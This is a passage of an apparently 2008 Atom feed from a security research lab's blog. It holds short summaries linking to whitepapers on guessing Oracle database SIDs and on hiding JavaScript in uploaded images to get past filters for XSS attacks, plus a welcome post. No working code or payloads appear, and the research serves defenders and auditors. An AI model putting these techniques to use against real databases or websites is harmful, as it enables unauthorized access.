src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3204067695500287971.post-433643914437185900</id><published>2008-12-23T01:35:00.000-08:00</published><updated>2009-04-20T03:22:17.516-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='pentest'/><category scheme='http://www.blogger.com/atom/ns#' term='whitepaper'/><category scheme='http://www.blogger.com/atom/ns#' term='sid'/><category scheme='http://www.blogger.com/atom/ns#' term='oracle'/><title type='text'>Different ways to guess Oracle database SID</title><content type='html'>This whitepaper is a result of our research in Oracle security and guessing Oracle database SID. In this document I collected all well-known public information about SID guessing and added new techniques which had been succerfully tested during our security audits.&lt;br /&gt;&lt;br /&gt;&lt;span class="item_author"&gt;Author: Alexandr (sh2kerr) Polyakov&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="content"&gt;Nowadays there is a lot of public information about Oracle security and a different vulnerabilities that hacker can use to get access to database. Many of these steps are good explained in public resources and in my paper "Oracle database security". Default user accounts are a big known problem and there are many information about it. As for vulnerabilities there are only 10 percent of DBA’s regularly installing Critical Patch Updates. Access to OS files and shell can be done using many different techniques such as Extproc, Java, DBMS_JOB, UTL_FILE, DBMS_LOB and others. As for rootkits and cleaningaudit data, in this area hackers are one step behind DBA’s. In this information about Oracle security there is one areathat is not so good explained as others. I am talking about getting Oracle SID. Without knowing Oracle database SID attacker cannot get access to database even if he know username and password. With Oracle 10g getting database SID is not so trivial as before. That’s why i decided to research this area and write this document as a result of my researching. In this whitepaper i collect all ways to get database SID and add some new techniques.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://dsecrg.com/files/pub/pdf/Different_ways_to_guess_Oracle_database_SID_(eng).pdf"&gt;&lt;img alt="" src="http://dsecrg.com/i/pdf.jpg" align="absMiddle" border="0" /&gt;&lt;/a&gt; &lt;a href="http://dsecrg.com/files/pub/pdf/Different_ways_to_guess_Oracle_database_SID_(eng).pdf"&gt;Different ways to guess Oracle database SID&lt;/a&gt;, (1118 KB)&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3204067695500287971-433643914437185900?l=dsecrg.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dsecrg.blogspot.com/feeds/433643914437185900/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://dsecrg.blogspot.com/2009/04/different-ways-to-guess-oracle-database.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3204067695500287971/posts/default/433643914437185900'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3204067695500287971/posts/default/433643914437185900'/><link rel='alternate' type='text/html' href='http://dsecrg.blogspot.com/2009/04/different-ways-to-guess-oracle-database.html' title='Different ways to guess Oracle database SID'/><author><name>DSecRG</name><uri>http://www.blogger.com/profile/13899949063572916063</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3204067695500287971.post-7725939506645377830</id><published>2008-12-22T01:38:00.000-08:00</published><updated>2009-04-20T03:20:54.069-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='xss in image'/><category scheme='http://www.blogger.com/atom/ns#' term='xss'/><category scheme='http://www.blogger.com/atom/ns#' term='evasion'/><category scheme='http://www.blogger.com/atom/ns#' term='whitepaper'/><title type='text'>Uploaded images filter evasion for carrying out XSS attacks</title><content type='html'>&lt;em&gt;This article is very old (first published in 25 dec 2007) but many things are still work.&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;This article describes how to inject javascript code into image file for making XSS attack in different web projects. Also here described methods for bypassing image filters and recomendations for preventing from this attacks.&lt;br /&gt;&lt;br /&gt;Author: Alexandr Polyakov&lt;br /&gt;&lt;br /&gt;&lt;span class="item_author"&gt;&lt;/span&gt;&lt;span class="content"&gt;As is known, users can upload images on a Web-server which is provided by numerous Web-projects, such as all kinds of CMS (Bitrix, runCMS, Mambo), forums (PhpBB, vBulluten), mail services (mail.ru, yandex.ru), blogs and social networks (facebook.com, livejournal.com, vkontakte.ru, liveinternet.ru, myspace.com). Such sites are potentially vulnerable to XSS-attacks that can use the flaw in the features of the images handling mechanism in Internet Explorer This feature is not new, but because it is not corrected in Internet Explorer 7.0 we decided to make an article about this problem This feature of the pictures processing and displaying is not new, and the ability to carry out an XSS-attack via picture was known to hackers. Due to the fact that this feature was ignored in the new version of Internet Explorer 7.0, the issue can be discussed again with more features.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://dsecrg.com/files/pub/pdf/XSS_in_images_evasion_bypass_(eng).pdf"&gt;&lt;img alt="" src="http://dsecrg.com/i/pdf.jpg" align="absMiddle" border="0" /&gt;&lt;/a&gt; &lt;a href="http://dsecrg.com/files/pub/pdf/XSS_in_images_evasion_bypass_(eng).pdf"&gt;XSS in images evasion bypass&lt;/a&gt;, (373 KB) &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3204067695500287971-7725939506645377830?l=dsecrg.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dsecrg.blogspot.com/feeds/7725939506645377830/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://dsecrg.blogspot.com/2008/12/uploaded-images-filter-evasion-for.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3204067695500287971/posts/default/7725939506645377830'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3204067695500287971/posts/default/7725939506645377830'/><link rel='alternate' type='text/html' href='http://dsecrg.blogspot.com/2008/12/uploaded-images-filter-evasion-for.html' title='Uploaded images filter evasion for carrying out XSS attacks'/><author><name>DSecRG</name><uri>http://www.blogger.com/profile/13899949063572916063</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3204067695500287971.post-3557542490892656041</id><published>2008-12-20T03:10:00.000-08:00</published><updated>2009-04-20T03:16:22.478-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='dsecrg'/><title type='text'>First Post</title><content type='html'>We are glad to welcome you on our blog of research laboratory Digital Security company. From this point all information of our researches will be accessible on this blog. Here you always can find last published by us vulnerabilies, exploits, interesting whitepapers and topical news about information security.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3204067695500287971-3557542490892656041?l=dsecrg.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dsecrg.blogspot.com/feeds/3557542490892656041/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://dsecrg.blogspot.com/2008/12/first-post.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3204067695500287971/posts/default/3557542490892656041'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3204067695500287971/posts/default/3557542490892656041'/><link rel='alternate' type='text/html' href='http://dsecrg.blogspot.com/2008/12/first-post.html' title='First Post'/><author><name>DSecRG</name><uri>http://www.blogger.com/profile/13899949063572916063</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry></feed>
